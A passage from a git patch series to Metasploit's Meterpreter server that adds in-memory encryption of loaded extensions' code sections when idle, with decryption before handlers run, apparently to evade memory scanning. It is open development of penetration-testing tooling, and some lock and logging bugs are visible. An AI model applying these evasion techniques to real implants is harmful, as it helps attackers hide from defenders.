&extensionStatus) || extensionStatus == NULL) { dprintf("[extension_encryption][extensionFindDecrypt] Couldn't get extension status"); return EXTENSION_ENCRYPTION_EXTENSION_NOT_FOUND; } - if (!encryptionManager->decrypt(extensionStatus)) { + if (!extensionStatus->bEncrypted || !encryptionManager->decrypt(extensionStatus)) { dprintf("[extension_encryption][extensionFindDecrypt] Decryption of the extension is failed"); return EXTENSION_ENCRYPTION_DECRYPTION_ERROR; } From 3511b2f9735bc2da360bd134216d23c8ec0f2246 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Tue, 10 Feb 2026 19:55:47 +0300 Subject: [PATCH 15/26] modify the scheduler to make it work with extension encryption --- c/meterpreter/source/metsrv/scheduler.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/c/meterpreter/source/metsrv/scheduler.c b/c/meterpreter/source/metsrv/scheduler.c index 25f02dc4f..b58ecc1b2 100644 --- a/c/meterpreter/source/metsrv/scheduler.c +++ b/c/meterpreter/source/metsrv/scheduler.c @@ -1,4 +1,5 @@ #include "metsrv.h" +#include "extension_encryption.h" #ifndef _WIN32 #include @@ -293,6 +294,12 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread ); case 2: //dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread ); + dprintf("[SCHEDULER] scheduler_waitable_thread( 0x%08X ), calling extensionFindDecrypt"); + if (extensionFindDecrypt(entry->routine)) { + dprintf("[SCHEDULER] scheduler_waitable_thread ( 0x%08X ), decryption of the extension failed"); + //break; + } + dprintf("[SCHEDULER] scheduler_waitable_thread ( 0x%08X ), the extension is decrypted successfully!"); entry->routine( entry->remote, entry->context, thread->parameter2 ); break; default: From 985727eca65fb27b180b314850090b458ce04ff7 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Wed, 11 Feb 2026 18:57:45 +0300 Subject: [PATCH 16/26] bug fix in extension_encryption_add --- c/meterpreter/source/metsrv/extension_encryption.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 42e0a57c6..9784632ef 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -219,7 +219,7 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->lpLoc: %p", lpExtensionStatus->lpLoc); dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwSize: %u", lpExtensionStatus->dwSize); dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwLastUsedTime: %u", lpExtensionStatus->dwLastUsedTime); - g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = lpExtensionStatus; + g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount] = lpExtensionStatus; g_ExtensionEncryptionManager->dwExtensionsCount++; dprintf("[extension_encryption][extension_encryption_add] Added extension at %p of size %u", lpExtensionLocation, dwExtensionSize); } From f82a4e7a396ad515270543eb078b54fe1cad8598 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Thu, 12 Feb 2026 18:24:09 +0300 Subject: [PATCH 17/26] store CryptographicManagerType in ExtensionEncryptionManager --- c/meterpreter/source/metsrv/extension_encryption.c | 3 ++- c/meterpreter/source/metsrv/extension_encryption.h | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 9784632ef..e4a64d70b 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -162,6 +162,7 @@ ExtensionEncryptionManager* InitExtensionEncryptionManager(CryptographicManagerT g_ExtensionEncryptionManager->encrypt = extension_encryption_encrypt; g_ExtensionEncryptionManager->decrypt = extension_encryption_decrypt; g_ExtensionEncryptionManager->encryptUnused = extension_encryption_encrypt_unused; + g_ExtensionEncryptionManager->dwCryptoManagerType = type; if(type == CRYPTOGRAPHIC_MANAGER_TYPE_RC4 ) { if (!cryptographic_manager_rc4(&g_ExtensionEncryptionManager->cryptoManager, lpCryptoParams)) { @@ -223,7 +224,7 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) g_ExtensionEncryptionManager->dwExtensionsCount++; dprintf("[extension_encryption][extension_encryption_add] Added extension at %p of size %u", lpExtensionLocation, dwExtensionSize); } - dprintf("[extension_encryption][extension_encryption_add] Funtion exiting"); + dprintf("[extension_encryption][extension_encryption_add] Function exiting"); LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h index 752801edc..dadaa0622 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.h +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -47,6 +47,7 @@ typedef struct { CRITICAL_SECTION cs; ExtensionEncryptionStatus* extensionStatuses[MAX_EXTENSIONS]; DWORD dwExtensionsCount; + DWORD dwCryptoManagerType; CryptographicManager cryptoManager; struct { BOOL (*add)(LPVOID lpExtensionLocation, DWORD dwExtensionSize); From 6141c1d54dc4e3d93aa510a2da060723d630f7c2 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Mon, 16 Feb 2026 19:25:52 +0300 Subject: [PATCH 18/26] use extension_encrypt_unused in the command handler --- c/meterpreter/source/metsrv/base.c | 2 +- c/meterpreter/source/metsrv/extension_encryption.c | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index 24ac3dab6..c2803a684 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -506,7 +506,7 @@ BOOL command_handle(Remote *remote, Packet *packet) } } while (0); - + extension_encryption_encrypt_unused(); return result; } diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index e4a64d70b..0e3c558d4 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -304,6 +304,7 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) dprintf("[extension_encryption][extension_encryption_encrypt] Extension is already encrypted."); ret = TRUE; bError = TRUE; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); } if (!bError) { From 524575cb51adedd235dc6757e55c20a48d0d0f82 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Thu, 19 Feb 2026 17:40:47 +0300 Subject: [PATCH 19/26] define a new error type for extensionFindDecrypt and implement it on the scheduler and command_process_inline --- c/meterpreter/source/metsrv/base.c | 18 ++++++++++++++---- .../source/metsrv/extension_encryption.c | 5 +++++ .../source/metsrv/extension_encryption.h | 3 ++- c/meterpreter/source/metsrv/scheduler.c | 5 ++++- 4 files changed, 25 insertions(+), 6 deletions(-) diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index c2803a684..d431dbf03 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -287,6 +287,8 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) PacketTlvType packetTlvType; UINT commandId = 0; + DWORD extensionFindDecryptVal = ERROR_SUCCESS; + __try { do @@ -320,11 +322,13 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) if (command->request.inline_handler) { dprintf("[DISPATCH] executing inline request handler %u", commandId); dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); - if (!extensionFindDecrypt(command->request.inline_handler)) { + extensionFindDecryptVal = extensionFindDecrypt(command->request.inline_handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { dprintf("[COMMAND] Decryption successful for command %u", commandId); } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); + //break; } serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; dprintf("[DISPATCH] executed %u, continue %s", commandId, serverContinue ? "yes" : "no"); @@ -333,11 +337,13 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) { dprintf("[DISPATCH] executing request handler %u", commandId); dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); - if (!extensionFindDecrypt(command->request.handler)) { + extensionFindDecryptVal = extensionFindDecrypt(command->request.handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { dprintf("[COMMAND] Decryption successful for command %u", commandId); } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); + //break; } result = command->request.handler(remote, packet); } @@ -348,11 +354,13 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) { dprintf("[DISPATCH] executing inline response handler %u", commandId); dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); - if (!extensionFindDecrypt(command->response.inline_handler)) { + extensionFindDecryptVal = extensionFindDecrypt(command->response.inline_handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { dprintf("[COMMAND] Decryption successful for command %u", commandId); } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); + //break; } serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; } @@ -360,11 +368,13 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) { dprintf("[DISPATCH] executing response handler %u", commandId); dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); - if (!extensionFindDecrypt(command->response.handler)) { + extensionFindDecryptVal = extensionFindDecrypt(command->response.handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { dprintf("[COMMAND] Decryption successful for command %u", commandId); } else { dprintf("[COMMAND] Decryption failed for command %u", commandId); + //break; } result = command->response.handler(remote, packet); } diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 0e3c558d4..3db5e3c4c 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -489,6 +489,11 @@ DWORD extensionFindDecrypt(LPVOID lpHandlerFunction) { return EXTENSION_ENCRYPTION_EXTENSION_NOT_FOUND; } + if (!extensionStatus->bEncryptable) { + dprintf("[extension_encryption][extensionFindDecrypt] Extension isn't encryptable"); + return EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE; + } + if (!extensionStatus->bEncrypted || !encryptionManager->decrypt(extensionStatus)) { dprintf("[extension_encryption][extensionFindDecrypt] Decryption of the extension is failed"); return EXTENSION_ENCRYPTION_DECRYPTION_ERROR; diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h index dadaa0622..1f98e4f41 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.h +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -14,7 +14,8 @@ #define EXTENSION_ENCRYPTION_INVALID_HANDLER_FUNCTION 1 #define EXTENSION_ENCRYPTION_INVALID_EXTENSION_MANAGER 2 #define EXTENSION_ENCRYPTION_EXTENSION_NOT_FOUND 3 -#define EXTENSION_ENCRYPTION_DECRYPTION_ERROR 4 +#define EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE 4 +#define EXTENSION_ENCRYPTION_DECRYPTION_ERROR 5 #define ENCRYPTION_UNUSED_COOLDOWN_MS ENCRYPTION_5_MINUTES_MS diff --git a/c/meterpreter/source/metsrv/scheduler.c b/c/meterpreter/source/metsrv/scheduler.c index b58ecc1b2..e77cd757f 100644 --- a/c/meterpreter/source/metsrv/scheduler.c +++ b/c/meterpreter/source/metsrv/scheduler.c @@ -252,6 +252,8 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) BOOL terminate = FALSE; UINT signalIndex = 0; + DWORD extensionFindDecryptValue = ERROR_SUCCESS; + if( thread == NULL ) return ERROR_INVALID_HANDLE; @@ -295,7 +297,8 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) case 2: //dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread ); dprintf("[SCHEDULER] scheduler_waitable_thread( 0x%08X ), calling extensionFindDecrypt"); - if (extensionFindDecrypt(entry->routine)) { + extensionFindDecryptValue = extensionFindDecrypt(entry->routine); + if (extensionFindDecryptValue && extensionFindDecryptValue != EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { dprintf("[SCHEDULER] scheduler_waitable_thread ( 0x%08X ), decryption of the extension failed"); //break; } From 699fee0fb96cbff2e0d68d793e9a7690307c82a4 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Mon, 2 Mar 2026 21:41:27 +0300 Subject: [PATCH 20/26] update extension_encryption.c --- .../source/metsrv/extension_encryption.c | 112 ++++++++++++++++-- 1 file changed, 103 insertions(+), 9 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 3db5e3c4c..cf7b1878f 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -188,6 +188,11 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) BOOL ret = TRUE; HANDLE hHeap = GetProcessHeap(); ExtensionEncryptionStatus* lpExtensionStatus = NULL; + PIMAGE_DOS_HEADER pDosHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + LPVOID lpTextSection = NULL; + DWORD dwTextSize = 0; EnterCriticalSection(&g_ExtensionEncryptionManager->cs); @@ -201,6 +206,50 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) dprintf("[extension_encryption][extension_encryption_add] Invalid parameters."); ret = FALSE; } + if (ret) { + pDosHeader = (PIMAGE_DOS_HEADER)lpExtensionLocation; + } + + if (ret && pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + dprintf("[extension_encryption][extension_encryption_add] Invalid DOS Signature."); + ret = FALSE; + } + + if (ret) { + pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)lpExtensionLocation + pDosHeader->e_lfanew); + } + + if (ret && pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + dprintf("[extension_encryption][extension_encryption_add] Invalid NT Signature"); + ret = FALSE; + } + + if (ret) { + pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + } + + if (ret && pSectionHeader == NULL) { + dprintf("[extension_encryption][extension_encryption_add] Invalid section header"); + ret = FALSE; + } + + for (WORD i = 0; ret && i < pNtHeaders->FileHeader.NumberOfSections; i++) { + if (!strncmp(pSectionHeader[i].Name, ".text", 5)) { + dprintf("[extension_encryption][extension_encryption_add] .text section of the extension is found!"); + lpTextSection = (BYTE*)lpExtensionLocation + pSectionHeader[i].VirtualAddress; + dwTextSize = pSectionHeader[i].Misc.VirtualSize; + break; + } + } + if (lpTextSection == NULL) { + dprintf("[extension_encryption][extension_encryption_add] couldn't get text section of the encryption"); + ret = FALSE; + } + + if (dwExtensionSize == 0) { + dprintf("[extension_encryption][extension_encryption_add] couldn't get size of text section of the extension"); + ret = FALSE; + } if (ret) { lpExtensionStatus = (ExtensionEncryptionStatus*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionStatus)); @@ -212,8 +261,8 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) if (ret) { lpExtensionStatus->bEncryptable = TRUE; lpExtensionStatus->bEncrypted = FALSE; - lpExtensionStatus->lpLoc = lpExtensionLocation; - lpExtensionStatus->dwSize = dwExtensionSize; + lpExtensionStatus->lpLoc = lpTextSection; + lpExtensionStatus->dwSize = dwTextSize; lpExtensionStatus->dwLastUsedTime = GetTickCount(); dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncryptable: %d", lpExtensionStatus->bEncryptable); dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncrypted: %d", lpExtensionStatus->bEncrypted); @@ -222,7 +271,7 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwLastUsedTime: %u", lpExtensionStatus->dwLastUsedTime); g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount] = lpExtensionStatus; g_ExtensionEncryptionManager->dwExtensionsCount++; - dprintf("[extension_encryption][extension_encryption_add] Added extension at %p of size %u", lpExtensionLocation, dwExtensionSize); + dprintf("[extension_encryption][extension_encryption_add] Added extension text section at %p of size %u", lpExtensionStatus->lpLoc,lpExtensionStatus->dwSize); } dprintf("[extension_encryption][extension_encryption_add] Function exiting"); LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); @@ -265,6 +314,7 @@ BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpExtensionStatus) { dprintf("[extension_encryption][extension_encryption_remove] Removing extension."); if (lpExtensionStatus == NULL) { dprintf("[extension_encryption][extension_encryption_remove] lpExtensionStatus is NULL."); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } for (DWORD i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { @@ -294,8 +344,16 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) HANDLE hHeap = GetProcessHeap(); DWORD diff = BUFFER_SIZE; size_t ByteCounter = 0; + LPVOID ExtensionLoc = NULL; + DWORD ExtensionSize = 0; + DWORD dwOldProtect = 0; + + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] lpExtensionStatus is NULL"); + bError = TRUE; + } - if(!lpExtensionStatus->bEncryptable) { + if(!bError && !lpExtensionStatus->bEncryptable) { dprintf("[extension_encryption][extension_encryption_encrypt] Extension is not encryptable."); bError = TRUE; } @@ -326,9 +384,16 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) } if (!bError) { - LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; - DWORD ExtensionSize = lpExtensionStatus->dwSize; + ExtensionLoc = lpExtensionStatus->lpLoc; + ExtensionSize = lpExtensionStatus->dwSize; + + if (!VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { + dprintf("[extension_encryption][extension_encryption_encrypt] VirtualProtect 1 failed with error 0x%x", GetLastError()); + bError = TRUE; + } + } + if (!bError) { for (DWORD i = 0; i != ExtensionSize; i += diff) { if ((ExtensionSize - i) < BUFFER_SIZE) { diff = ExtensionSize - i; @@ -353,6 +418,13 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) lpExtensionStatus->dwLastUsedTime = GetTickCount(); lpExtensionStatus->bEncrypted = TRUE; } + + if (!bError && !VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + dprintf("[extension_encryption][extension_encryption_encrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); + bError = TRUE; + ret = FALSE; + } + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); if (lpTempBufferWrite != NULL && lpTempBufferRead != NULL) { @@ -372,8 +444,16 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) HANDLE hHeap = GetProcessHeap(); DWORD diff = BUFFER_SIZE; size_t ByteCounter = 0; + LPVOID ExtensionLoc = NULL; + DWORD ExtensionSize = 0; + DWORD dwOldProtect = 0; - if(!lpExtensionStatus->bEncryptable) { + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] lpExtensionStatus is NULL"); + bError = TRUE; + } + + if(!bError &&!lpExtensionStatus->bEncryptable) { dprintf("[extension_encryption][extension_encryption_decrypt] Extension is not encryptable."); bError = TRUE; } @@ -385,8 +465,15 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) lpExtensionStatus->dwLastUsedTime = GetTickCount(); } - LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; - DWORD ExtensionSize = lpExtensionStatus->dwSize; + if (!bError) { + ExtensionLoc = lpExtensionStatus->lpLoc; + ExtensionSize = lpExtensionStatus->dwSize; + + if (!VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { + dprintf("[extension_encryption][extension_encryption_decrypt] VirtualProtect 1 failed with error 0x%x", GetLastError()); + bError = TRUE; + } + } if (!bError) { lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); @@ -444,6 +531,13 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) lpExtensionStatus->dwLastUsedTime = GetTickCount(); lpExtensionStatus->bEncrypted = FALSE; } + + if (!bError && !VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + dprintf("[extension_encryption][extension_encryption_decrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); + bError = TRUE; + ret = FALSE; + } + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); if (lpTempBufferWrite != NULL && lpTempBufferRead != NULL) { From 41918bdfdf72726b68b5a178321a23676e9e90e2 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 5 Mar 2026 06:55:43 -0500 Subject: [PATCH 21/26] fix: using correct base address for extension encryption manager, refactor add function --- .../source/metsrv/extension_encryption.c | 98 ++++++++----------- .../source/metsrv/extension_encryption.h | 4 +- c/meterpreter/source/metsrv/remote_dispatch.c | 7 +- 3 files changed, 43 insertions(+), 66 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index cf7b1878f..9594f88de 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -184,9 +184,10 @@ ExtensionEncryptionManager* InitExtensionEncryptionManager(CryptographicManagerT return g_ExtensionEncryptionManager; } -BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) { - BOOL ret = TRUE; +BOOL extension_encryption_add(LPVOID lpExtensionLocation) { + DWORD dwResult = ERROR_SUCCESS; HANDLE hHeap = GetProcessHeap(); + HANDLE hLib = (HMODULE)lpExtensionLocation; ExtensionEncryptionStatus* lpExtensionStatus = NULL; PIMAGE_DOS_HEADER pDosHeader = NULL; PIMAGE_NT_HEADERS pNtHeaders = NULL; @@ -195,70 +196,49 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) DWORD dwTextSize = 0; EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + do { + dprintf("[extension_encryption][extension_encryption_add] Adding extension"); + if (g_ExtensionEncryptionManager->dwExtensionsCount >= MAX_EXTENSIONS) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Maximum number of extensions reached.", ERROR_NOT_ENOUGH_MEMORY); + } - dprintf("[extension_encryption][extension_encryption_add] Adding extension"); - if (g_ExtensionEncryptionManager->dwExtensionsCount >= MAX_EXTENSIONS) { - dprintf("[extension_encryption][extension_encryption_add] Maximum number of extensions reached."); - ret = FALSE; - } + if (hLib == NULL || hLib == INVALID_HANDLE_VALUE) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid parameters.", ERROR_INVALID_PARAMETER); + } - if (lpExtensionLocation == NULL || dwExtensionSize == 0) { - dprintf("[extension_encryption][extension_encryption_add] Invalid parameters."); - ret = FALSE; - } - if (ret) { pDosHeader = (PIMAGE_DOS_HEADER)lpExtensionLocation; - } - - if (ret && pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { - dprintf("[extension_encryption][extension_encryption_add] Invalid DOS Signature."); - ret = FALSE; - } - - if (ret) { + if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid DOS Signature.", ERROR_INVALID_PARAMETER); + } pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)lpExtensionLocation + pDosHeader->e_lfanew); - } - - if (ret && pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { - dprintf("[extension_encryption][extension_encryption_add] Invalid NT Signature"); - ret = FALSE; - } - - if (ret) { + + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid NT Signature.", ERROR_INVALID_PARAMETER); + } pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); - } - - if (ret && pSectionHeader == NULL) { - dprintf("[extension_encryption][extension_encryption_add] Invalid section header"); - ret = FALSE; - } - - for (WORD i = 0; ret && i < pNtHeaders->FileHeader.NumberOfSections; i++) { - if (!strncmp(pSectionHeader[i].Name, ".text", 5)) { - dprintf("[extension_encryption][extension_encryption_add] .text section of the extension is found!"); - lpTextSection = (BYTE*)lpExtensionLocation + pSectionHeader[i].VirtualAddress; - dwTextSize = pSectionHeader[i].Misc.VirtualSize; - break; + if (pSectionHeader == NULL) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid section header.", ERROR_INVALID_PARAMETER); } - } - if (lpTextSection == NULL) { - dprintf("[extension_encryption][extension_encryption_add] couldn't get text section of the encryption"); - ret = FALSE; - } - if (dwExtensionSize == 0) { - dprintf("[extension_encryption][extension_encryption_add] couldn't get size of text section of the extension"); - ret = FALSE; - } + for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { + if (!strncmp(pSectionHeader[i].Name, ".text", 5)) { + dprintf("[extension_encryption][extension_encryption_add] .text section of the extension is found!"); + lpTextSection = (BYTE*)lpExtensionLocation + pSectionHeader[i].VirtualAddress; + dwTextSize = pSectionHeader[i].Misc.VirtualSize; + break; + } + } + if (lpTextSection == NULL) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] couldn't get text section of the encryption.", ERROR_INVALID_PARAMETER); + } - if (ret) { + if (dwTextSize == 0) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] couldn't get size of text section of the extension.", ERROR_INVALID_PARAMETER); + } lpExtensionStatus = (ExtensionEncryptionStatus*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionStatus)); if (lpExtensionStatus == NULL) { - dprintf("[extension_encryption][extension_encryption_add] HeapAlloc failed."); - ret = FALSE; + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] HeapAlloc failed.", ERROR_NOT_ENOUGH_MEMORY); } - } - if (ret) { lpExtensionStatus->bEncryptable = TRUE; lpExtensionStatus->bEncrypted = FALSE; lpExtensionStatus->lpLoc = lpTextSection; @@ -272,10 +252,10 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount] = lpExtensionStatus; g_ExtensionEncryptionManager->dwExtensionsCount++; dprintf("[extension_encryption][extension_encryption_add] Added extension text section at %p of size %u", lpExtensionStatus->lpLoc,lpExtensionStatus->dwSize); - } - dprintf("[extension_encryption][extension_encryption_add] Function exiting"); - LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); - return ret; + dprintf("[extension_encryption][extension_encryption_add] Function exiting"); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + } while (0); + return dwResult == ERROR_SUCCESS; } BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus) { diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h index 1f98e4f41..72074b3ad 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.h +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -51,7 +51,7 @@ typedef struct { DWORD dwCryptoManagerType; CryptographicManager cryptoManager; struct { - BOOL (*add)(LPVOID lpExtensionLocation, DWORD dwExtensionSize); + BOOL (*add)(LPVOID lpExtensionLocation); BOOL (*get)(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus); BOOL (*remove)(ExtensionEncryptionStatus* lpStatus); BOOL (*encrypt)(ExtensionEncryptionStatus* lpStatus); @@ -62,7 +62,7 @@ typedef struct { ExtensionEncryptionManager *GetExtensionEncryptionManager(VOID); ExtensionEncryptionManager *InitExtensionEncryptionManager(CryptographicManagerType type, LPVOID lpCryptoParams); -BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize); +BOOL extension_encryption_add(LPVOID lpExtensionLocation); BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus); BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpStatus); diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 2bf5a996a..5e9a8bd36 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -335,9 +335,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) PCHAR libraryPath; DWORD flags = 0; BOOL 